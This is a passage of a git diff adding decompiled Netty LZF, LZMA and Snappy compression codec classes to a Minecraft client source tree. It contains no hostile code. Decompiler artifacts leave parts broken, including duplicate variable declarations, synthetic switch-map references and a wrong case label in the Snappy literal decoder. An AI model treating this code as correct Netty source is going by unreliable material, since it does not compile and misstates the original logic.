+    return promise;
+  }
+  
+  public void close(final ChannelHandlerContext ctx, final ChannelPromise promise)
+    throws Exception
+  {
+    ChannelFuture f = finishEncode(ctx, ctx.newPromise());
+    f.addListener(new ChannelFutureListener()
+    {
+      public void operationComplete(ChannelFuture f) throws Exception {
+        ctx.close(promise);
+      }
+    });
+    
+    if (!f.isDone())
+    {
+      ctx.executor().schedule(new Runnable()
+      {
+
+        public void run() { ctx.close(promise); } }, 10L, TimeUnit.SECONDS);
+    }
+  }
+  
+
+  private ChannelHandlerContext ctx()
+  {
+    ChannelHandlerContext ctx = this.ctx;
+    if (ctx == null) {
+      throw new IllegalStateException("not added to a pipeline");
+    }
+    return ctx;
+  }
+  
+  public void handlerAdded(ChannelHandlerContext ctx) throws Exception
+  {
+    this.ctx = ctx;
+    
+    buffer = Unpooled.wrappedBuffer(new byte[blockSize]);
+  }
+  
+  public void handlerRemoved(ChannelHandlerContext ctx) throws Exception
+  {
+    super.handlerRemoved(ctx);
+    cleanup();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/LzfDecoder.java b/src/minecraft/io/netty/handler/codec/compression/LzfDecoder.java
new file mode 100644
index 0000000..c249c68
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/LzfDecoder.java
@@ -0,0 +1,210 @@
+package io.netty.handler.codec.compression;
+
+import com.ning.compress.BufferRecycler;
+import com.ning.compress.lzf.ChunkDecoder;
+import com.ning.compress.lzf.util.ChunkDecoderFactory;
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.ByteToMessageDecoder;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class LzfDecoder
+  extends ByteToMessageDecoder
+{
+  private static enum State
+  {
+    INIT_BLOCK, 
+    INIT_ORIGINAL_LENGTH, 
+    DECOMPRESS_DATA, 
+    CORRUPTED;
+    
+    private State() {} }
+  private State currentState = State.INIT_BLOCK;
+  
+
+
+
+
+  private static final short MAGIC_NUMBER = 23126;
+  
+
+
+
+
+  private ChunkDecoder decoder;
+  
+
+
+
+  private BufferRecycler recycler;
+  
+
+
+
+  private int chunkLength;
+  
+
+
+
+  private int originalLength;
+  
+
+
+
+  private boolean isCompressed;
+  
+
+
+
+
+  public LzfDecoder()
+  {
+    this(false);
+  }
+  
+
+
+
+
+
+
+
+
+  public LzfDecoder(boolean safeInstance)
+  {
+    decoder = (safeInstance ? ChunkDecoderFactory.safeInstance() : ChunkDecoderFactory.optimalInstance());
+    
+
+
+    recycler = BufferRecycler.instance();
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception
+  {
+    try {
+      switch (1.$SwitchMap$io$netty$handler$codec$compression$LzfDecoder$State[currentState.ordinal()]) {
+      case 1: 
+        if (in.readableBytes() >= 5)
+        {
+
+          int magic = in.readUnsignedShort();
+          if (magic != 23126) {
+            throw new DecompressionException("unexpected block identifier");
+          }
+          
+          int type = in.readByte();
+          switch (type) {
+          case 0: 
+            isCompressed = false;
+            currentState = State.DECOMPRESS_DATA;
+            break;
+          case 1: 
+            isCompressed = true;
+            currentState = State.INIT_ORIGINAL_LENGTH;
+            break;
+          default: 
+            throw new DecompressionException(String.format("unknown type of chunk: %d (expected: %d or %d)", new Object[] { Integer.valueOf(type), Integer.valueOf(0), Integer.valueOf(1) }));
+          }
+          
+          
+          this.chunkLength = in.readUnsignedShort();
+          
+          if (type != 1)
+            break;
+        }
+        break;
+      case 2:  if (in.readableBytes() >= 2)
+        {
+
+          this.originalLength = in.readUnsignedShort();
+          
+          currentState = State.DECOMPRESS_DATA;
+        }
+        break; case 3:  int chunkLength = this.chunkLength;
+        if (in.readableBytes() >= chunkLength)
+        {
+
+          int originalLength = this.originalLength;
+          
+          if (isCompressed) {
+            int idx = in.readerIndex();
+            int inPos;
+            byte[] inputArray;
+            int inPos;
+            if (in.hasArray()) {
+              byte[] inputArray = in.array();
+              inPos = in.arrayOffset() + idx;
+            } else {
+              inputArray = recycler.allocInputBuffer(chunkLength);
+              in.getBytes(idx, inputArray, 0, chunkLength);
+              inPos = 0;
+            }
+            
+            ByteBuf uncompressed = ctx.alloc().heapBuffer(originalLength, originalLength);
+            byte[] outputArray = uncompressed.array();
+            int outPos = uncompressed.arrayOffset() + uncompressed.writerIndex();
+            
+            boolean success = false;
+            try {
+              decoder.decodeChunk(inputArray, inPos, outputArray, outPos, outPos + originalLength);
+              uncompressed.writerIndex(uncompressed.writerIndex() + originalLength);
+              out.add(uncompressed);
+              in.skipBytes(chunkLength);
+              success = true;
+            } finally {
+              if (!success) {
+                uncompressed.release();
+              }
+            }
+            
+            if (!in.hasArray()) {
+              recycler.releaseInputBuffer(inputArray);
+            }
+          } else if (chunkLength > 0) {
+            out.add(in.readRetainedSlice(chunkLength));
+          }
+          
+          currentState = State.INIT_BLOCK; }
+        break;
+      case 4: 
+        in.skipBytes(in.readableBytes());
+        break;
+      default: 
+        throw new IllegalStateException();
+      }
+    } catch (Exception e) {
+      currentState = State.CORRUPTED;
+      decoder = null;
+      recycler = null;
+      throw e;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/LzfEncoder.java b/src/minecraft/io/netty/handler/codec/compression/LzfEncoder.java
new file mode 100644
index 0000000..fc2bdcb
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/LzfEncoder.java
@@ -0,0 +1,140 @@
+package io.netty.handler.codec.compression;
+
+import com.ning.compress.BufferRecycler;
+import com.ning.compress.lzf.ChunkEncoder;
+import com.ning.compress.lzf.LZFEncoder;
+import com.ning.compress.lzf.util.ChunkEncoderFactory;
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.MessageToByteEncoder;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class LzfEncoder
+  extends MessageToByteEncoder<ByteBuf>
+{
+  private static final int MIN_BLOCK_TO_COMPRESS = 16;
+  private final ChunkEncoder encoder;
+  private final BufferRecycler recycler;
+  
+  public LzfEncoder()
+  {
+    this(false, 65535);
+  }
+  
+
+
+
+
+
+
+
+
+  public LzfEncoder(boolean safeInstance)
+  {
+    this(safeInstance, 65535);
+  }
+  
+
+
+
+
+
+
+
+  public LzfEncoder(int totalLength)
+  {
+    this(false, totalLength);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public LzfEncoder(boolean safeInstance, int totalLength)
+  {
+    super(false);
+    if ((totalLength < 16) || (totalLength > 65535)) {
+      throw new IllegalArgumentException("totalLength: " + totalLength + " (expected: " + 16 + '-' + 65535 + ')');
+    }
+    
+
+    encoder = (safeInstance ? ChunkEncoderFactory.safeNonAllocatingInstance(totalLength) : ChunkEncoderFactory.optimalNonAllocatingInstance(totalLength));
+    
+
+
+    recycler = BufferRecycler.instance();
+  }
+  
+  protected void encode(ChannelHandlerContext ctx, ByteBuf in, ByteBuf out) throws Exception
+  {
+    int length = in.readableBytes();
+    int idx = in.readerIndex();
+    int inputPtr;
+    byte[] input;
+    int inputPtr; if (in.hasArray()) {
+      byte[] input = in.array();
+      inputPtr = in.arrayOffset() + idx;
+    } else {
+      input = recycler.allocInputBuffer(length);
+      in.getBytes(idx, input, 0, length);
+      inputPtr = 0;
+    }
+    
+    int maxOutputLength = LZFEncoder.estimateMaxWorkspaceSize(length);
+    out.ensureWritable(maxOutputLength);
+    byte[] output = out.array();
+    int outputPtr = out.arrayOffset() + out.writerIndex();
+    int outputLength = LZFEncoder.appendEncoded(encoder, input, inputPtr, length, output, outputPtr) - outputPtr;
+    
+    out.writerIndex(out.writerIndex() + outputLength);
+    in.skipBytes(length);
+    
+    if (!in.hasArray()) {
+      recycler.releaseInputBuffer(input);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/LzmaFrameEncoder.java b/src/minecraft/io/netty/handler/codec/compression/LzmaFrameEncoder.java
new file mode 100644
index 0000000..6d24e6b
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/LzmaFrameEncoder.java
@@ -0,0 +1,215 @@
+package io.netty.handler.codec.compression;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.buffer.ByteBufInputStream;
+import io.netty.buffer.ByteBufOutputStream;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.MessageToByteEncoder;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.io.InputStream;
+import lzma.sdk.lzma.Encoder;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class LzmaFrameEncoder
+  extends MessageToByteEncoder<ByteBuf>
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(LzmaFrameEncoder.class);
+  
+
+
+  private static final int MEDIUM_DICTIONARY_SIZE = 65536;
+  
+
+
+  private static final int MIN_FAST_BYTES = 5;
+  
+
+
+  private static final int MEDIUM_FAST_BYTES = 32;
+  
+
+
+  private static final int MAX_FAST_BYTES = 273;
+  
+
+
+  private static final int DEFAULT_MATCH_FINDER = 1;
+  
+
+  private static final int DEFAULT_LC = 3;
+  
+
+  private static final int DEFAULT_LP = 0;
+  
+
+  private static final int DEFAULT_PB = 2;
+  
+
+  private final Encoder encoder;
+  
+
+  private final byte properties;
+  
+
+  private final int littleEndianDictionarySize;
+  
+
+  private static boolean warningLogged;
+  
+
+
+  public LzmaFrameEncoder()
+  {
+    this(65536);
+  }
+  
+
+
+
+  public LzmaFrameEncoder(int lc, int lp, int pb)
+  {
+    this(lc, lp, pb, 65536);
+  }
+  
+
+
+
+
+
+  public LzmaFrameEncoder(int dictionarySize)
+  {
+    this(3, 0, 2, dictionarySize);
+  }
+  
+
+
+  public LzmaFrameEncoder(int lc, int lp, int pb, int dictionarySize)
+  {
+    this(lc, lp, pb, dictionarySize, false, 32);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public LzmaFrameEncoder(int lc, int lp, int pb, int dictionarySize, boolean endMarkerMode, int numFastBytes)
+  {
+    if ((lc < 0) || (lc > 8)) {
+      throw new IllegalArgumentException("lc: " + lc + " (expected: 0-8)");
+    }
+    if ((lp < 0) || (lp > 4)) {
+      throw new IllegalArgumentException("lp: " + lp + " (expected: 0-4)");
+    }
+    if ((pb < 0) || (pb > 4)) {
+      throw new IllegalArgumentException("pb: " + pb + " (expected: 0-4)");
+    }
+    if ((lc + lp > 4) && 
+      (!warningLogged)) {
+      logger.warn("The latest versions of LZMA libraries (for example, XZ Utils) has an additional requirement: lc + lp <= 4. Data which don't follow this requirement cannot be decompressed with this libraries.");
+      
+
+      warningLogged = true;
+    }
+    
+    if (dictionarySize < 0) {
+      throw new IllegalArgumentException("dictionarySize: " + dictionarySize + " (expected: 0+)");
+    }
+    if ((numFastBytes < 5) || (numFastBytes > 273)) {
+      throw new IllegalArgumentException(String.format("numFastBytes: %d (expected: %d-%d)", new Object[] { Integer.valueOf(numFastBytes), Integer.valueOf(5), Integer.valueOf(273) }));
+    }
+    
+
+
+    encoder = new Encoder();
+    encoder.setDictionarySize(dictionarySize);
+    encoder.setEndMarkerMode(endMarkerMode);
+    encoder.setMatchFinder(1);
+    encoder.setNumFastBytes(numFastBytes);
+    encoder.setLcLpPb(lc, lp, pb);
+    
+    properties = ((byte)((pb * 5 + lp) * 9 + lc));
+    littleEndianDictionarySize = Integer.reverseBytes(dictionarySize);
+  }
+  
+  protected void encode(ChannelHandlerContext ctx, ByteBuf in, ByteBuf out) throws Exception
+  {
+    int length = in.readableBytes();
+    InputStream bbIn = new ByteBufInputStream(in);
+    
+    ByteBufOutputStream bbOut = new ByteBufOutputStream(out);
+    bbOut.writeByte(properties);
+    bbOut.writeInt(littleEndianDictionarySize);
+    bbOut.writeLong(Long.reverseBytes(length));
+    encoder.code(bbIn, bbOut, -1L, -1L, null);
+    
+    bbIn.close();
+    bbOut.close();
+  }
+  
+  protected ByteBuf allocateBuffer(ChannelHandlerContext ctx, ByteBuf in, boolean preferDirect) throws Exception
+  {
+    int length = in.readableBytes();
+    int maxOutputLength = maxOutputBufferLength(length);
+    return ctx.alloc().ioBuffer(maxOutputLength);
+  }
+  
+
+  private static int maxOutputBufferLength(int inputLength)
+  {
+    double factor;
+    double factor;
+    if (inputLength < 200) {
+      factor = 1.5D; } else { double factor;
+      if (inputLength < 500) {
+        factor = 1.2D; } else { double factor;
+        if (inputLength < 1000) {
+          factor = 1.1D; } else { double factor;
+          if (inputLength < 10000) {
+            factor = 1.05D;
+          } else
+            factor = 1.02D;
+        } } }
+    return 13 + (int)(inputLength * factor);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/Snappy.java b/src/minecraft/io/netty/handler/codec/compression/Snappy.java
new file mode 100644
index 0000000..b932360
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/Snappy.java
@@ -0,0 +1,674 @@
+package io.netty.handler.codec.compression;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class Snappy
+{
+  private static final int MAX_HT_SIZE = 16384;
+  private static final int MIN_COMPRESSIBLE_BYTES = 15;
+  private static final int PREAMBLE_NOT_FULL = -1;
+  private static final int NOT_ENOUGH_INPUT = -1;
+  private static final int LITERAL = 0;
+  private static final int COPY_1_BYTE_OFFSET = 1;
+  private static final int COPY_2_BYTE_OFFSET = 2;
+  private static final int COPY_4_BYTE_OFFSET = 3;
+  private State state;
+  private byte tag;
+  private int written;
+  
+  Snappy()
+  {
+    state = State.READY;
+  }
+  
+  private static enum State
+  {
+    READY, 
+    READING_PREAMBLE, 
+    READING_TAG, 
+    READING_LITERAL, 
+    READING_COPY;
+    
+    private State() {} }
+  
+  public void reset() { state = State.READY;
+    tag = 0;
+    written = 0;
+  }
+  
+  public void encode(ByteBuf in, ByteBuf out, int length)
+  {
+    for (int i = 0;; i++) {
+      int b = length >>> i * 7;
+      if ((b & 0xFFFFFF80) != 0) {
+        out.writeByte(b & 0x7F | 0x80);
+      } else {
+        out.writeByte(b);
+        break;
+      }
+    }
+    
+    int inIndex = in.readerIndex();
+    int baseIndex = inIndex;
+    
+    short[] table = getHashTable(length);
+    int shift = 32 - (int)Math.floor(Math.log(table.length) / Math.log(2.0D));
+    
+    int nextEmit = inIndex;
+    
+    if (length - inIndex >= 15) {
+      int nextHash = hash(in, ++inIndex, shift);
+      for (;;) {
+        int skip = 32;
+        
+
+        int nextIndex = inIndex;
+        int candidate;
+        do { inIndex = nextIndex;
+          int hash = nextHash;
+          int bytesBetweenHashLookups = skip++ >> 5;
+          nextIndex = inIndex + bytesBetweenHashLookups;
+          
+
+          if (nextIndex > length - 4) {
+            break;
+          }
+          
+          nextHash = hash(in, nextIndex, shift);
+          
+          candidate = baseIndex + table[hash];
+          
+          table[hash] = ((short)(inIndex - baseIndex));
+        }
+        while (in.getInt(inIndex) != in.getInt(candidate));
+        
+        encodeLiteral(in, out, inIndex - nextEmit);
+        int insertTail;
+        do
+        {
+          int base = inIndex;
+          int matched = 4 + findMatchingLength(in, candidate + 4, inIndex + 4, length);
+          inIndex += matched;
+          int offset = base - candidate;
+          encodeCopy(out, offset, matched);
+          in.readerIndex(in.readerIndex() + matched);
+          insertTail = inIndex - 1;
+          nextEmit = inIndex;
+          if (inIndex >= length - 4) {
+            break;
+          }
+          
+          int prevHash = hash(in, insertTail, shift);
+          table[prevHash] = ((short)(inIndex - baseIndex - 1));
+          int currentHash = hash(in, insertTail + 1, shift);
+          candidate = baseIndex + table[currentHash];
+          table[currentHash] = ((short)(inIndex - baseIndex));
+        }
+        while (in.getInt(insertTail + 1) == in.getInt(candidate));
+        
+        nextHash = hash(in, insertTail + 2, shift);
+        inIndex++;
+      }
+    }
+    
+
+    if (nextEmit < length) {
+      encodeLiteral(in, out, length - nextEmit);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  private static int hash(ByteBuf in, int index, int shift)
+  {
+    return in.getInt(index) + 506832829 >>> shift;
+  }
+  
+
+
+
+
+
+  private static short[] getHashTable(int inputSize)
+  {
+    int htSize = 256;
+    while ((htSize < 16384) && (htSize < inputSize)) {
+      htSize <<= 1;
+    }
+    short[] table;
+    short[] table;
+    if (htSize <= 256) {
+      table = new short['Ā'];
+    } else {
+      table = new short['䀀'];
+    }
+    
+    return table;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  private static int findMatchingLength(ByteBuf in, int minIndex, int inIndex, int maxIndex)
+  {
+    int matched = 0;
+    
+    while ((inIndex <= maxIndex - 4) && (in.getInt(inIndex) == in.getInt(minIndex + matched)))
+    {
+      inIndex += 4;
+      matched += 4;
+    }
+    
+    while ((inIndex < maxIndex) && (in.getByte(minIndex + matched) == in.getByte(inIndex))) {
+      inIndex++;
+      matched++;
+    }
+    
+    return matched;
+  }
+  
+
+
+
+
+
+
+
+  private static int bitsToEncode(int value)
+  {
+    int highestOneBit = Integer.highestOneBit(value);
+    int bitLength = 0;
+    while (highestOneBit >>= 1 != 0) {
+      bitLength++;
+    }
+    
+    return bitLength;
+  }
+  
+
+
+
+
+
+
+
+
+  private static void encodeLiteral(ByteBuf in, ByteBuf out, int length)
+  {
+    if (length < 61) {
+      out.writeByte(length - 1 << 2);
+    } else {
+      int bitLength = bitsToEncode(length - 1);
+      int bytesToEncode = 1 + bitLength / 8;
+      out.writeByte(59 + bytesToEncode << 2);
+      for (int i = 0; i < bytesToEncode; i++) {
+        out.writeByte(length - 1 >> i * 8 & 0xFF);
+      }
+    }
+    
+    out.writeBytes(in, length);
+  }
+  
+  private static void encodeCopyWithOffset(ByteBuf out, int offset, int length) {
+    if ((length < 12) && (offset < 2048)) {
+      out.writeByte(0x1 | length - 4 << 2 | offset >> 8 << 5);
+      out.writeByte(offset & 0xFF);
+    } else {
+      out.writeByte(0x2 | length - 1 << 2);
+      out.writeByte(offset & 0xFF);
+      out.writeByte(offset >> 8 & 0xFF);
+    }
+  }
+  
+
+
+
+
+
+
+  private static void encodeCopy(ByteBuf out, int offset, int length)
+  {
+    while (length >= 68) {
+      encodeCopyWithOffset(out, offset, 64);
+      length -= 64;
+    }
+    
+    if (length > 64) {
+      encodeCopyWithOffset(out, offset, 60);
+      length -= 60;
+    }
+    
+    encodeCopyWithOffset(out, offset, length);
+  }
+  
+  public void decode(ByteBuf in, ByteBuf out) {
+    while (in.isReadable()) {
+      switch (1.$SwitchMap$io$netty$handler$codec$compression$Snappy$State[state.ordinal()]) {
+      case 1: 
+        state = State.READING_PREAMBLE;
+      case 2: 
+        int uncompressedLength = readPreamble(in);
+        if (uncompressedLength == -1)
+        {
+          return;
+        }
+        if (uncompressedLength == 0)
+        {
+          state = State.READY;
+          return;
+        }
+        out.ensureWritable(uncompressedLength);
+        state = State.READING_TAG;
+      case 3: 
+        if (!in.isReadable()) {
+          return;
+        }
+        tag = in.readByte();
+        switch (tag & 0x3) {
+        case 0: 
+          state = State.READING_LITERAL;
+          break;
+        case 1: 
+        case 2: 
+        case 3: 
+          state = State.READING_COPY;
+        }
+        
+        break;
+      case 4: 
+        int literalWritten = decodeLiteral(tag, in, out);
+        if (literalWritten != -1) {
+          state = State.READING_TAG;
+          written += literalWritten;
+        }
+        else {
+          return;
+        }
+        break;
+      case 5: 
+        int decodeWritten;
+        switch (tag & 0x3) {
+        case 1: 
+          decodeWritten = decodeCopyWith1ByteOffset(tag, in, out, written);
+          if (decodeWritten != -1) {
+            state = State.READING_TAG;
+            written += decodeWritten;
+          }
+          else {
+            return;
+          }
+          break;
+        case 2: 
+          decodeWritten = decodeCopyWith2ByteOffset(tag, in, out, written);
+          if (decodeWritten != -1) {
+            state = State.READING_TAG;
+            written += decodeWritten;
+          }
+          else {
+            return;
+          }
+          break;
+        case 3: 
+          decodeWritten = decodeCopyWith4ByteOffset(tag, in, out, written);
+          if (decodeWritten != -1) {
+            state = State.READING_TAG;
+            written += decodeWritten;
+          }
+          else
+          {
+            return;
+          }
+          
+
+          break;
+        }
+        
+        
+        break;
+      }
+      
+    }
+  }
+  
+
+  private static int readPreamble(ByteBuf in)
+  {
+    int length = 0;
+    int byteIndex = 0;
+    while (in.isReadable()) {
+      int current = in.readUnsignedByte();
+      length |= (current & 0x7F) << byteIndex++ * 7;
+      if ((current & 0x80) == 0) {
+        return length;
+      }
+      
+      if (byteIndex >= 4) {
+        throw new DecompressionException("Preamble is greater than 4 bytes");
+      }
+    }
+    
+    return 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  private static int decodeLiteral(byte tag, ByteBuf in, ByteBuf out)
+  {
+    in.markReaderIndex();
+    int length;
+    switch (tag >> 2 & 0x3F) {
+    case 60: 
+      if (!in.isReadable()) {
+        return -1;
+      }
+      length = in.readUnsignedByte();
+      break;
+    case 61: 
+      if (in.readableBytes() < 2) {
+        return -1;
+      }
+      length = ByteBufUtil.swapShort(in.readShort());
+      break;
+    case 62: 
+      if (in.readableBytes() < 3) {
+        return -1;
+      }
+      length = ByteBufUtil.swapMedium(in.readUnsignedMedium());
+      break;
+    case 64: 
+      if (in.readableBytes() < 4) {
+        return -1;
+      }
+      length = ByteBufUtil.swapInt(in.readInt());
+      break;
+    case 63: default: 
+      length = tag >> 2 & 0x3F;
+    }
+    length++;
+    
+    if (in.readableBytes() < length) {
+      in.resetReaderIndex();
+      return -1;
+    }
+    
+    out.writeBytes(in, length);
+    return length;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private static int decodeCopyWith1ByteOffset(byte tag, ByteBuf in, ByteBuf out, int writtenSoFar)
+  {
+    if (!in.isReadable()) {
+      return -1;
+    }
+    
+    int initialIndex = out.writerIndex();
+    int length = 4 + ((tag & 0x1C) >> 2);
+    int offset = (tag & 0xE0) << 8 >> 5 | in.readUnsignedByte();
+    
+    validateOffset(offset, writtenSoFar);
+    
+    out.markReaderIndex();
+    if (offset < length) {
+      for (int copies = length / offset; 
+          copies > 0; copies--) {
+        out.readerIndex(initialIndex - offset);
+        out.readBytes(out, offset);
+      }
+      if (length % offset != 0) {
+        out.readerIndex(initialIndex - offset);
+        out.readBytes(out, length % offset);
+      }
+    } else {
+      out.readerIndex(initialIndex - offset);
+      out.readBytes(out, length);
+    }
+    out.resetReaderIndex();
+    
+    return length;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private static int decodeCopyWith2ByteOffset(byte tag, ByteBuf in, ByteBuf out, int writtenSoFar)
+  {
+    if (in.readableBytes() < 2) {
+      return -1;
+    }
+    
+    int initialIndex = out.writerIndex();
+    int length = 1 + (tag >> 2 & 0x3F);
+    int offset = ByteBufUtil.swapShort(in.readShort());
+    
+    validateOffset(offset, writtenSoFar);
+    
+    out.markReaderIndex();
+    if (offset < length) {
+      for (int copies = length / offset; 
+          copies > 0; copies--) {
+        out.readerIndex(initialIndex - offset);
+        out.readBytes(out, offset);
+      }
+      if (length % offset != 0) {
+        out.readerIndex(initialIndex - offset);
+        out.readBytes(out, length % offset);
+      }
+    } else {
+      out.readerIndex(initialIndex - offset);
+      out.readBytes(out, length);
+    }
+    out.resetReaderIndex();
+    
+    return length;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private static int decodeCopyWith4ByteOffset(byte tag, ByteBuf in, ByteBuf out, int writtenSoFar)
+  {
+    if (in.readableBytes() < 4) {
+      return -1;
+    }
+    
+    int initialIndex = out.writerIndex();
+    int length = 1 + (tag >> 2 & 0x3F);
+    int offset = ByteBufUtil.swapInt(in.readInt());
+    
+    validateOffset(offset, writtenSoFar);
+    
+    out.markReaderIndex();
+    if (offset < length) {
+      for (int copies = length / offset; 
+          copies > 0; copies--) {
+        out.readerIndex(initialIndex - offset);
+        out.readBytes(out, offset);
+      }
+      if (length % offset != 0) {
+        out.readerIndex(initialIndex - offset);
+        out.readBytes(out, length % offset);
+      }
+    } else {
+      out.readerIndex(initialIndex - offset);
+      out.readBytes(out, length);
+    }
+    out.resetReaderIndex();
+    
+    return length;
+  }
+  
+
+
+
+
+
+
+
+
+  private static void validateOffset(int offset, int chunkSizeSoFar)
+  {
+    if (offset > 32767) {
+      throw new DecompressionException("Offset exceeds maximum permissible value");
+    }
+    
+    if (offset <= 0) {
+      throw new DecompressionException("Offset is less than minimum permissible value");
+    }
+    
+    if (offset > chunkSizeSoFar) {
+      throw new DecompressionException("Offset exceeds size of chunk");
+    }
+  }
+  
+
+
+
+
+
+  public static int calculateChecksum(ByteBuf data)
+  {
+    return calculateChecksum(data, data.readerIndex(), data.readableBytes());
+  }
+  
+
+
+
+
+
+  public static int calculateChecksum(ByteBuf data, int offset, int length)
+  {
+    Crc32c crc32 = new Crc32c();
+    try { byte[] array;
+      if (data.hasArray()) {
+        crc32.update(data.array(), data.arrayOffset() + offset, length);
+      } else {
+        array = new byte[length];
+        data.getBytes(offset, array);
+        crc32.update(array, 0, length);
+      }
+      
+      return maskChecksum((int)crc32.getValue());
+    } finally {
+      crc32.reset();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  static void validateChecksum(int expectedChecksum, ByteBuf data)
+  {
+    validateChecksum(expectedChecksum, data, data.readerIndex(), data.readableBytes());
+  }
+  
+
+
+
+
+
+
+
+
+  static void validateChecksum(int expectedChecksum, ByteBuf data, int offset, int length)
+  {
+    int actualChecksum = calculateChecksum(data, offset, length);
+    if (actualChecksum != expectedChecksum) {
+      throw new DecompressionException("mismatching checksum: " + Integer.toHexString(actualChecksum) + " (expected: " + Integer.toHexString(expectedChecksum) + ')');
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  static int maskChecksum(int checksum)
+  {
+    return (checksum >> 15 | checksum << 17) + -1568478504;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/SnappyFrameDecoder.java b/src/minecraft/io/netty/handler/codec/compression/SnappyFrameDecoder.java
new file mode 100644
index 0000000..6be70e7
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/SnappyFrameDecoder.java
@@ -0,0 +1,226 @@
+package io.netty.handler.codec.compression;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.ByteToMessageDecoder;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SnappyFrameDecoder
+  extends ByteToMessageDecoder
+{
+  private static final int SNAPPY_IDENTIFIER_LEN = 6;
+  private static final int MAX_UNCOMPRESSED_DATA_SIZE = 65540;
+  
+  private static enum ChunkType
+  {
+    STREAM_IDENTIFIER, 
+    COMPRESSED_DATA, 
+    UNCOMPRESSED_DATA, 
+    RESERVED_UNSKIPPABLE, 
+    RESERVED_SKIPPABLE;
+    
+
+    private ChunkType() {}
+  }
+  
+  private final Snappy snappy = new Snappy();
+  
+
+  private final boolean validateChecksums;
+  
+  private boolean started;
+  
+  private boolean corrupted;
+  
+
+  public SnappyFrameDecoder()
+  {
+    this(false);
+  }
+  
+
+
+
+
+
+
+
+
+  public SnappyFrameDecoder(boolean validateChecksums)
+  {
+    this.validateChecksums = validateChecksums;
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception
+  {
+    if (corrupted) {
+      in.skipBytes(in.readableBytes());
+      return;
+    }
+    try
+    {
+      int idx = in.readerIndex();
+      int inSize = in.readableBytes();
+      if (inSize < 4)
+      {
+
+        return;
+      }
+      
+      int chunkTypeVal = in.getUnsignedByte(idx);
+      ChunkType chunkType = mapChunkType((byte)chunkTypeVal);
+      int chunkLength = in.getUnsignedMediumLE(idx + 1);
+      
+      switch (1.$SwitchMap$io$netty$handler$codec$compression$SnappyFrameDecoder$ChunkType[chunkType.ordinal()]) {
+      case 1: 
+        if (chunkLength != 6) {
+          throw new DecompressionException("Unexpected length of stream identifier: " + chunkLength);
+        }
+        
+        if (inSize >= 10)
+        {
+
+
+          in.skipBytes(4);
+          int offset = in.readerIndex();
+          in.skipBytes(6);
+          
+          checkByte(in.getByte(offset++), (byte)115);
+          checkByte(in.getByte(offset++), (byte)78);
+          checkByte(in.getByte(offset++), (byte)97);
+          checkByte(in.getByte(offset++), (byte)80);
+          checkByte(in.getByte(offset++), (byte)112);
+          checkByte(in.getByte(offset), (byte)89);
+          
+          started = true; }
+        break;
+      case 2: 
+        if (!started) {
+          throw new DecompressionException("Received RESERVED_SKIPPABLE tag before STREAM_IDENTIFIER");
+        }
+        
+        if (inSize < 4 + chunkLength)
+        {
+          return;
+        }
+        
+        in.skipBytes(4 + chunkLength);
+        break;
+      
+
+
+      case 3: 
+        throw new DecompressionException("Found reserved unskippable chunk type: 0x" + Integer.toHexString(chunkTypeVal));
+      
+      case 4: 
+        if (!started) {
+          throw new DecompressionException("Received UNCOMPRESSED_DATA tag before STREAM_IDENTIFIER");
+        }
+        if (chunkLength > 65540) {
+          throw new DecompressionException("Received UNCOMPRESSED_DATA larger than 65540 bytes");
+        }
+        
+        if (inSize < 4 + chunkLength) {
+          return;
+        }
+        
+        in.skipBytes(4);
+        if (validateChecksums) {
+          int checksum = in.readIntLE();
+          Snappy.validateChecksum(checksum, in, in.readerIndex(), chunkLength - 4);
+        } else {
+          in.skipBytes(4);
+        }
+        out.add(in.readRetainedSlice(chunkLength - 4));
+        break;
+      case 5: 
+        if (!started) {
+          throw new DecompressionException("Received COMPRESSED_DATA tag before STREAM_IDENTIFIER");
